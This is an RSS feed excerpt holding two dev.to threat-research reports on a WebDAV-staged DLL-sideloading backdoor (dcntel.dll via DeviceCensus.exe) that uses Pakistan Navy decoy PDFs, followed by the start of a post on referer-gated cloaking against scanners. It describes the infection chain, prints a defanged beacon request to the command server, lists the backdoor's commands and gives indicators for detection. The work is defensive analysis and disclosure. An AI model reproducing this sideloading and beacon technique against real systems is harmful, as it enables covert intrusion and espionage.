      <title>Invoice-named scripts drop a DLL-sideloading backdoor behind Pakistan Navy decoys</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Fri, 25 Sep 2026 16:05:02 +0000</pubDate>
      <link>https://dev.to/tuxxin/invoice-named-scripts-drop-a-dll-sideloading-backdoor-behind-pakistan-navy-decoys-1mom</link>
      <guid>https://dev.to/tuxxin/invoice-named-scripts-drop-a-dll-sideloading-backdoor-behind-pakistan-navy-decoys-1mom</guid>
      <description>&lt;p&gt;An open web directory named &lt;code&gt;documents_more_authority_services&lt;/code&gt; holds nine small text files, &lt;code&gt;Invoice1.txt&lt;/code&gt; to &lt;code&gt;Invoice9.txt&lt;/code&gt;. Each file is a one-line Windows command script. When run, a script shows the victim a convincing PDF, installs a backdoor inside a legitimate Microsoft program, sets that program to restart every minute and hides the install folder.&lt;/p&gt;

&lt;p&gt;The decoy PDFs show who the operation is aimed at: Pakistan Navy planning minutes, quotations from a Pakistan Navy supply contractor, a Punjab government directory and a personnel form from a state-owned mining corporation.&lt;/p&gt;

&lt;p&gt;The command server was live at the time of writing, on September 25th, 2026.&lt;/p&gt;

&lt;p&gt;We found the directory through MalwareHunterTeam, who first flagged it publicly (&lt;a href="https://x.com/malwrhunterteam" rel="noopener noreferrer"&gt;@malwrhunterteam&lt;/a&gt; on X). The analysis of the backdoor, its command server and its protocol is Tuxxin's.&lt;/p&gt;

&lt;p&gt;The technical writeup is on &lt;a href="https://whack.sh/news/dcntel-sideload-webdav-stager" rel="noopener noreferrer"&gt;whack.sh&lt;/a&gt;. It covers the infection chain, the backdoor's protocol and commands, and the full indicator list with hashes. whack.sh now detects this kind of malicious staging area.&lt;/p&gt;

&lt;h2&gt;
  
  
  The decoys and who they point at
&lt;/h2&gt;

&lt;p&gt;Each script opens a different decoy. The filenames below are what a victim sees in their Temp folder.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Decoy filename&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;AMAN 2027 Draft Program.pdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Minutes of the Initial Planning Meeting for Exercise AMAN 2027, on the letterhead of the Pakistan Navy's Directorate of Naval Operations, Naval Headquarters Islamabad, dated September 9th, 2026. AMAN is the Navy's multinational exercise. The document lists the Navy participants and the foreign defense attaches who attended.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;Quotation 2231 DT 15 SEP 26-REV (NRDI).pdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Revised quotation from Maritime Technical &amp;amp; Support Services (Pvt) Ltd (MTSS), a Pakistan Navy contractor with offices in Islamabad and Karachi. It covers variable-frequency drives for shipboard pumps, references NRDI and is dated September 15th, 2026.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;Quotation 2510 DT 15 SEP 26.pdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;MTSS quotation for a naval supply item, UHF wireless microphone sets.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;0231-26 (DT 08-07-2026).pdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Supplier quotation addressed to MTSS, Karachi, for a NATO-stock-numbered engine part, a fuel-injector supply tube.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;CCC-Helplines-Detail.pdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A 26-page directory of Government of Punjab department helplines.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;InformationForm.pdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A Pakistan Mineral Development Corporation (PMDC) personal-information form.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;CandidateInformationForm.pdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A generic job-application form.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;
&lt;code&gt;PDA GRC Concept Note - Final.pdf&lt;/code&gt; and &lt;code&gt;PDA-Domains.pdf&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Named in the scripts. The server returned a corrupted file for both.&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This report omits the names of individuals who appear in the decoys.&lt;/p&gt;

&lt;h2&gt;
  
  
  The AMAN 2027 minutes
&lt;/h2&gt;

&lt;p&gt;The AMAN 2027 minutes are an internal Navy record. They are dated September 9th, 2026, and they reached the attackers within two weeks of being written.&lt;/p&gt;

&lt;p&gt;That suggests the operators already have access to someone on the document's distribution, or to a mailbox that received it.&lt;/p&gt;

&lt;h2&gt;
  
  
  How a victim gets infected
&lt;/h2&gt;

&lt;p&gt;The directory sits on &lt;code&gt;corecloudwave[.]online&lt;/code&gt; and is served over WebDAV on port 7843. WebDAV lets Windows treat a remote web directory as a network folder. Each script ends by disconnecting from that share, which confirms that victims run the scripts from it.&lt;/p&gt;

&lt;p&gt;We did not recover the email or shortcut that first points a victim at the share. The directory listing shows a file was removed on September 24th.&lt;/p&gt;

&lt;p&gt;When run, a script does six things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Downloads the decoy PDF from a second port, 7925, and opens it, so the victim sees a document.&lt;/li&gt;
&lt;li&gt;Creates the folder &lt;code&gt;C:\Users\Public\Documents\EdgeUpdate\&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Downloads &lt;code&gt;dcntel.dll&lt;/code&gt; and a small file named &lt;code&gt;edgeupdate.dat&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Copies the genuine, Microsoft-signed &lt;code&gt;C:\Windows\System32\DeviceCensus.exe&lt;/code&gt; into the same folder.&lt;/li&gt;
&lt;li&gt;Registers a scheduled task named &lt;code&gt;EdgeUpdate&lt;/code&gt; that runs that copy every minute.&lt;/li&gt;
&lt;li&gt;Marks the folder hidden and system.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The technique is DLL sideloading. When the trusted Microsoft program starts, it loads &lt;code&gt;dcntel.dll&lt;/code&gt; from its own folder before it looks in System32, so it loads the attacker's copy.&lt;/p&gt;

&lt;p&gt;The malicious DLL passes six of its seven functions straight through to the real Windows DLL, so nothing visibly breaks. The seventh, &lt;code&gt;GetCensusRegistryLocation&lt;/code&gt;, holds the backdoor.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the backdoor does
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;dcntel.dll&lt;/code&gt; is a 291 KB 64-bit Windows DLL, compiled September 16th, 2026, and unsigned. On the day it was found, 6 of 75 antivirus engines on VirusTotal flagged it, all with generic machine-learning labels and no family name.&lt;/p&gt;

&lt;p&gt;Its server address is stored separately, in &lt;code&gt;edgeupdate.dat&lt;/code&gt;, as plain hexadecimal. It decodes to &lt;code&gt;viewpipesync[.]online&lt;/code&gt; on port 9090.&lt;/p&gt;

&lt;p&gt;The implant builds a victim ID from the computer name, user name and process ID, finds its own internal IP address, and then polls its server every 10 seconds. It ignores certificate errors. Whatever the server returns is the next command, and the results go back to the same address.&lt;/p&gt;

&lt;p&gt;The backdoor is a compact remote shell. Its commands start and stop an interactive &lt;code&gt;cmd.exe&lt;/code&gt; session, change how often it polls and replies, change its lifetime counter, report its settings and exit.&lt;/p&gt;

&lt;p&gt;File theft, keylogging and any other task outside the command set require the operator to work by hand in the shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Infrastructure
&lt;/h2&gt;

&lt;p&gt;We found two domains behind the operation, both registered through Namecheap and both hosted with UltaHost in Germany.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;&lt;code&gt;corecloudwave[.]online&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;viewpipesync[.]online&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;Role&lt;/td&gt;
&lt;td&gt;WebDAV stager (port 7843) and payload server (port 7925)&lt;/td&gt;
&lt;td&gt;Command server (port 9090)&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;IP address&lt;/td&gt;
&lt;td&gt;&lt;code&gt;84.200.192[.]6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;84.200.193[.]224&lt;/code&gt;, earlier &lt;code&gt;64.111.93[.]196&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Registered&lt;/td&gt;
&lt;td&gt;September 19th, 2026, 04:02 UTC&lt;/td&gt;
&lt;td&gt;September 19th, 2026, 03:57 UTC&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;TLS certificates&lt;/td&gt;
&lt;td&gt;Let's Encrypt, September 20th&lt;/td&gt;
&lt;td&gt;Let's Encrypt, September 19th and 22nd&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The two domains were registered five minutes apart, and each sits alone on its own server.&lt;/p&gt;

&lt;p&gt;We found no related infrastructure. The operation appears to be a single, purpose-built setup.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attribution
&lt;/h2&gt;

&lt;p&gt;This report leaves attribution open.&lt;/p&gt;

&lt;p&gt;Two things fit patterns seen in regional espionage in South Asia: the targeting of the Pakistan Navy, its supply chain and Pakistani government bodies; and the lightweight, disposable infrastructure.&lt;/p&gt;

&lt;p&gt;We found no code overlap with a known malware family, and targeting alone is insufficient to identify an actor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Signs of infection
&lt;/h2&gt;

&lt;p&gt;On a Windows machine:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The folder &lt;code&gt;C:\Users\Public\Documents\EdgeUpdate\&lt;/code&gt;, marked hidden and system.&lt;/li&gt;
&lt;li&gt;A scheduled task named &lt;code&gt;EdgeUpdate&lt;/code&gt; that repeats every minute.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DeviceCensus.exe&lt;/code&gt; running from any folder outside &lt;code&gt;C:\Windows\System32&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On the network: HTTPS to port 9090 with a URL path starting with &lt;code&gt;/nsearch:&lt;/code&gt;, or any request carrying the header &lt;code&gt;X-Proxy-Server: direct&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Domains and IP addresses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;corecloudwave[.]online
viewpipesync[.]online
84.200.192[.]6
84.200.193[.]224
64.111.93[.]196
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The full indicator list, with SHA-256 hashes for &lt;code&gt;dcntel.dll&lt;/code&gt;, &lt;code&gt;edgeupdate.dat&lt;/code&gt; and all nine scripts, is in the &lt;a href="https://whack.sh/news/dcntel-sideload-webdav-stager" rel="noopener noreferrer"&gt;whack.sh technical writeup&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Disclosure
&lt;/h2&gt;

&lt;p&gt;On September 25th, 2026, Tuxxin LLC:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;notified the hosting provider (UltaHost) and the registrar (Namecheap) of both domains,&lt;/li&gt;
&lt;li&gt;shared indicators with Pakistan's national CERT (PKCERT), and&lt;/li&gt;
&lt;li&gt;submitted the stager scripts to VirusTotal.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All malicious domains and IP addresses in this report are defanged.&lt;/p&gt;

&lt;p&gt;This report is the original work of Tuxxin LLC, published under &lt;a href="https://creativecommons.org/licenses/by-nd/4.0/" rel="noopener noreferrer"&gt;Creative Commons Attribution-NoDerivatives 4.0&lt;/a&gt;. Media and researchers may quote and republish it with attribution to Daniel Jones, Tuxxin LLC. For coordinated disclosure: &lt;a href="mailto:contact@tuxxin.com"&gt;contact@tuxxin.com&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>threatresearch</category>
      <category>malware</category>
      <category>backdoor</category>
      <category>dllsideloading</category>
    </item>
    <item>
      <title>DeviceCensus.exe DLL sideloading: a dcntel.dll backdoor staged from a WebDAV directory</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Fri, 25 Sep 2026 15:50:05 +0000</pubDate>
      <link>https://dev.to/tuxxin/devicecensusexe-dll-sideloading-a-dcnteldll-backdoor-staged-from-a-webdav-directory-2icm</link>
      <guid>https://dev.to/tuxxin/devicecensusexe-dll-sideloading-a-dcnteldll-backdoor-staged-from-a-webdav-directory-2icm</guid>
      <description>&lt;p&gt;An open WebDAV directory on corecloudwave[.]online holds nine one-line Windows command scripts that open a decoy PDF, copy the Microsoft-signed &lt;code&gt;DeviceCensus.exe&lt;/code&gt; out of System32 and use it to sideload &lt;code&gt;dcntel.dll&lt;/code&gt;, a compact remote shell. The implant reads its server address from a hex-encoded config file and polls the command-and-control server viewpipesync[.]online on port 9090. The server was live at the time of writing on September 25, 2026.&lt;/p&gt;

&lt;p&gt;By &lt;a href="https://tuxxin.com/founder" rel="noopener noreferrer"&gt;Daniel Jones&lt;/a&gt;, Founder, Tuxxin LLC.&lt;/p&gt;

&lt;p&gt;The decoy documents and the targeting, which covers the Pakistan Navy, its suppliers and Pakistani government bodies, are written up in the &lt;a href="https://tuxxin.com/blog/fake-invoices-pakistan-navy-backdoor" rel="noopener noreferrer"&gt;investigation on tuxxin.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;MalwareHunterTeam (&lt;a href="https://x.com/malwrhunterteam" rel="noopener noreferrer"&gt;@malwrhunterteam&lt;/a&gt; on X) first flagged the open directory publicly. The analysis of the backdoor, its command server and its protocol is Tuxxin's.&lt;/p&gt;

&lt;h2&gt;
  
  
  The staging directory
&lt;/h2&gt;

&lt;p&gt;The directory is &lt;code&gt;hxxp://corecloudwave[.]online:7843/documents_more_authority_services/&lt;/code&gt;. It is served over WebDAV on port 7843, which lets Windows treat it as a network folder.&lt;/p&gt;

&lt;p&gt;The nine scripts are text files named &lt;code&gt;Invoice1.txt&lt;/code&gt; to &lt;code&gt;Invoice9.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Each script ends by disconnecting from the WebDAV share, which confirms that victims run it from the share. The email or shortcut that points a victim at the share is still unrecovered.&lt;/p&gt;

&lt;p&gt;The same host runs a payload server on port 7925, at &lt;code&gt;hxxps://corecloudwave[.]online:7925/api/portal/resources/viewer/&amp;lt;file&amp;gt;?id=730246&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The directory listing shows a file was removed on September 24.&lt;/p&gt;

&lt;p&gt;Each stager opens a different decoy PDF. These are the file names a victim sees in their Temp folder:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AMAN 2027 Draft Program.pdf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Quotation 2231 DT 15 SEP 26-REV (NRDI).pdf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Quotation 2510 DT 15 SEP 26.pdf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0231-26 (DT 08-07-2026).pdf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CCC-Helplines-Detail.pdf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;InformationForm.pdf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CandidateInformationForm.pdf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The scripts also name &lt;code&gt;PDA GRC Concept Note - Final.pdf&lt;/code&gt; and &lt;code&gt;PDA-Domains.pdf&lt;/code&gt;. The server returned a corrupted file for both.&lt;/p&gt;

&lt;h2&gt;
  
  
  What each stager does
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Downloads the decoy PDF from the payload server on port 7925 and opens it, so the victim sees a document.&lt;/li&gt;
&lt;li&gt;Creates &lt;code&gt;C:\Users\Public\Documents\EdgeUpdate\&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Downloads &lt;code&gt;dcntel.dll&lt;/code&gt; and a small file, &lt;code&gt;edgeupdate.dat&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Copies the genuine, Microsoft-signed &lt;code&gt;C:\Windows\System32\DeviceCensus.exe&lt;/code&gt; into the same folder.&lt;/li&gt;
&lt;li&gt;Registers a scheduled task named &lt;code&gt;EdgeUpdate&lt;/code&gt; that runs that copy every minute.&lt;/li&gt;
&lt;li&gt;Marks the folder hidden and system.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Sideloading through DeviceCensus.exe
&lt;/h2&gt;

&lt;p&gt;When the copied &lt;code&gt;DeviceCensus.exe&lt;/code&gt; starts, it loads &lt;code&gt;dcntel.dll&lt;/code&gt; from its own folder before looking in System32, so it loads the attacker's copy.&lt;/p&gt;

&lt;p&gt;The malicious &lt;code&gt;dcntel.dll&lt;/code&gt; exports seven functions. Six pass straight through to the real Windows DLL, so the host program runs without visible errors. The seventh, &lt;code&gt;GetCensusRegistryLocation&lt;/code&gt;, holds the backdoor.&lt;/p&gt;

&lt;h2&gt;
  
  
  The implant
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;dcntel.dll&lt;/code&gt; is a 291 KB x64 Windows DLL, compiled on September 16, 2026, and unsigned. Its import hash is &lt;code&gt;af2996d19264a47ecbf8fc76c8a4530a&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On the day it was found, 6 of 75 antivirus engines on VirusTotal flagged it, all with generic machine-learning labels and no family name.&lt;/p&gt;

&lt;p&gt;The server address sits outside the DLL, in &lt;code&gt;edgeupdate.dat&lt;/code&gt;, as plain hexadecimal that decodes to &lt;code&gt;viewpipesync[.]online:9090&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Beaconing
&lt;/h2&gt;

&lt;p&gt;The implant builds a victim ID from the computer name, user name and process ID, and looks up its own internal IP address. It then polls the server every 10 seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET hxxps://viewpipesync[.]online:9090/nsearch:&amp;lt;COMPUTERNAME&amp;gt;_&amp;lt;username&amp;gt;-&amp;lt;PID&amp;gt;:10
X-Real-IP: &amp;lt;victim's internal IP&amp;gt;
X-Proxy-Server: direct
User-Agent: Mozilla/5.0
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The implant ignores certificate errors. Whatever the server returns is the next command.&lt;/p&gt;

&lt;p&gt;Results go back as a POST to the same address, wrapped between &lt;code&gt;CMD.USERBEG_#CMD#_&lt;/code&gt; and &lt;code&gt;.USEREND_#CMD#_CMD&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Commands
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Effect&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;
&lt;code&gt;OPEN-SHELL&lt;/code&gt; / &lt;code&gt;CLOSE-SHELL&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Start or stop an interactive &lt;code&gt;cmd.exe&lt;/code&gt; session&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;
&lt;code&gt;sleep&lt;/code&gt;, &lt;code&gt;jitter&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Change the beacon timing&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;
&lt;code&gt;SET-IN-LATENCY&lt;/code&gt;, &lt;code&gt;SET-OUT-LATENCY&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Change the poll and reply intervals&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;SET-LIFE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Change the implant's lifetime counter&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;GET-CONFIG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Report settings (default &lt;code&gt;Life=2 InLatency=10s OutLatency=200ms&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;QUIT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exit&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;File theft, keylogging and any other task outside the command set require the operator to work by hand in the shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Infrastructure
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;corecloudwave[.]online&lt;/th&gt;
&lt;th&gt;viewpipesync[.]online&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;Role&lt;/td&gt;
&lt;td&gt;WebDAV stager (7843) and payload server (7925)&lt;/td&gt;
&lt;td&gt;Command-and-control (9090)&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;84.200.192[.]6&lt;/td&gt;
&lt;td&gt;84.200.193[.]224 (earlier: 64.111.93[.]196)&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;UltaHost, Germany&lt;/td&gt;
&lt;td&gt;UltaHost, Germany&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Registered&lt;/td&gt;
&lt;td&gt;2026-09-19 04:02 UTC, Namecheap&lt;/td&gt;
&lt;td&gt;2026-09-19 03:57 UTC, Namecheap&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;TLS&lt;/td&gt;
&lt;td&gt;Let's Encrypt, September 20&lt;/td&gt;
&lt;td&gt;Let's Encrypt, September 19 and 22&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The two domains were registered five minutes apart. Each sits alone on its own server.&lt;/p&gt;

&lt;p&gt;We found no related infrastructure. The operation appears to be a single, purpose-built setup.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attribution
&lt;/h2&gt;

&lt;p&gt;This report names no group. The targeting (the Pakistan Navy and its supply chain, plus Pakistani government bodies) and the lightweight, disposable infrastructure fit patterns seen in regional espionage in South Asia.&lt;/p&gt;

&lt;p&gt;We found no code overlap with a known malware family, and the targeting alone does not identify an actor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Disclosure
&lt;/h2&gt;

&lt;p&gt;On September 25, 2026, Tuxxin LLC:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;notified the hosting provider (UltaHost) and the registrar (Namecheap) of both domains,&lt;/li&gt;
&lt;li&gt;shared indicators with Pakistan's national CERT (PKCERT), and&lt;/li&gt;
&lt;li&gt;submitted the stager scripts to VirusTotal.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Indicators of compromise
&lt;/h2&gt;

&lt;p&gt;Domains: &lt;code&gt;corecloudwave[.]online&lt;/code&gt;, &lt;code&gt;viewpipesync[.]online&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;IPs: &lt;code&gt;84.200.192[.]6&lt;/code&gt;, &lt;code&gt;84.200.193[.]224&lt;/code&gt;, &lt;code&gt;64.111.93[.]196&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;URLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hxxp://corecloudwave[.]online:7843/documents_more_authority_services/
hxxps://corecloudwave[.]online:7925/api/portal/resources/viewer/&amp;lt;file&amp;gt;?id=730246
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SHA-256:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;beb166c564b5bebd6cc43f5cff94d8e50efba777012e5525b41873bb5fa5e10f  dcntel.dll
56eb4c4bcb0c0a208bddb0068c23e46ecf23f7c7feebc8422f3255e1f61ad9ae  edgeupdate.dat
4e40cc31d40e2167da3ebfe96968102da9603c11a382ddf9804e68886cbe1639  Invoice1.txt
0371bdd48791c74dfdac1caaaf3950dd5c3647b63aabc10decccac62277ccda5  Invoice2.txt
e66b610918ebf0fcc38ac21236b0b4e59c045100b57e585128bfaa16c1ab2b5b  Invoice3.txt
842dae97804ecce4ac24a1856c4697d0988fb16d998f7cb56966ada5ad28a2c9  Invoice4.txt
347bb04747d1251c27d4d7cc22fc13a49ab195fd4b96645a65483ab723d73860  Invoice5.txt
029a01524a8c77bae57591da662b1c2ea8020da4494509e6242004d6fbe06bf9  Invoice6.txt
96012c510e6ce30de223a2b21e4e9a6e9ec158a5b92b0af0f5992672c03233e5  Invoice7.txt
96e31d090c28ef043fc568696202bdaf8e966fb24183f69b389342b9fa914f47  Invoice8.txt
5f894557672dc4c30a2d4317108deff54bb9d6a23fe9ee2abc0ec7e094b41690  Invoice9.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Import hash of &lt;code&gt;dcntel.dll&lt;/code&gt;: &lt;code&gt;af2996d19264a47ecbf8fc76c8a4530a&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;On the endpoint:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Folder &lt;code&gt;C:\Users\Public\Documents\EdgeUpdate\&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Scheduled task &lt;code&gt;EdgeUpdate&lt;/code&gt; with a 1-minute repeat&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DeviceCensus.exe&lt;/code&gt; running from any path outside &lt;code&gt;C:\Windows\System32&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On the network: HTTPS to port 9090 with a URL path starting with &lt;code&gt;/nsearch:&lt;/code&gt;, or any request carrying &lt;code&gt;X-Proxy-Server: direct&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detection
&lt;/h2&gt;

&lt;p&gt;whack.sh now detects this kind of malicious staging area.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;For coordinated disclosure: &lt;a href="mailto:contact@tuxxin.com"&gt;contact@tuxxin.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>threatresearch</category>
      <category>dllsideloading</category>
      <category>webdav</category>
      <category>devicecensusexe</category>
    </item>
    <item>
      <title>Referer-gated cloaking: why our scanner arrives with a source</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Tue, 22 Sep 2026 13:25:04 +0000</pubDate>
      <link>https://dev.to/tuxxin/referer-gated-cloaking-why-our-scanner-arrives-with-a-source-2bh</link>
      <guid>https://dev.to/tuxxin/referer-gated-cloaking-why-our-scanner-arrives-with-a-source-2bh</guid>
      <description>&lt;p&gt;A page can serve one thing to a visitor who arrived from an ad and something else to a visitor who arrived from nowhere. Traffic source picks the branch.&lt;/p&gt;

&lt;p&gt;A scanner that opens the link cold states no source. It lands in the branch built for everyone the campaign did not pay for.&lt;/p&gt;

&lt;p&gt;Cloaked delivery itself is settled ground, and our writeup on &lt;a href="https://whack.sh/news/malware-that-hides-from-scanners" rel="noopener noreferrer"&gt;a cloaked link that showed scanners a clean page&lt;/a&gt; covers the foundation. That post listed a referer gate among the limits of comparing vantage points.&lt;/p&gt;

&lt;p&gt;Our scanner can request a URL with a specified referring source and carry it through the redirect chain.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a cold scan lands on the clean page
&lt;/h2&gt;

&lt;p&gt;A browser normally tells a site which page sent the visitor. The &lt;code&gt;Referer&lt;/code&gt; field is an ordinary part of a web request. Whatever client makes the request supplies the value itself, and nothing authenticates it.&lt;/p&gt;

&lt;p&gt;A source-gated page reads that self-reported value and branches on it. A visitor whose stated source matches the campaign reaches the payload. Everyone else reaches a clean page.&lt;/p&gt;

&lt;p&gt;No page sent the automated request, so the field arrives empty. To the page's rule, an empty source is the wrong source, so the clean page is the correct output of the operator's own logic.&lt;/p&gt;

&lt;p&gt;The verdict is accurate about that one fetch. It says nothing about what the URL serves the intended audience.&lt;/p&gt;

&lt;h2&gt;
  
  
  The gate works by requirement instead of detection
&lt;/h2&gt;

&lt;p&gt;Fingerprinting a scanner is work. The operator has to model automation tells, and that model needs maintenance as clients change.&lt;/p&gt;

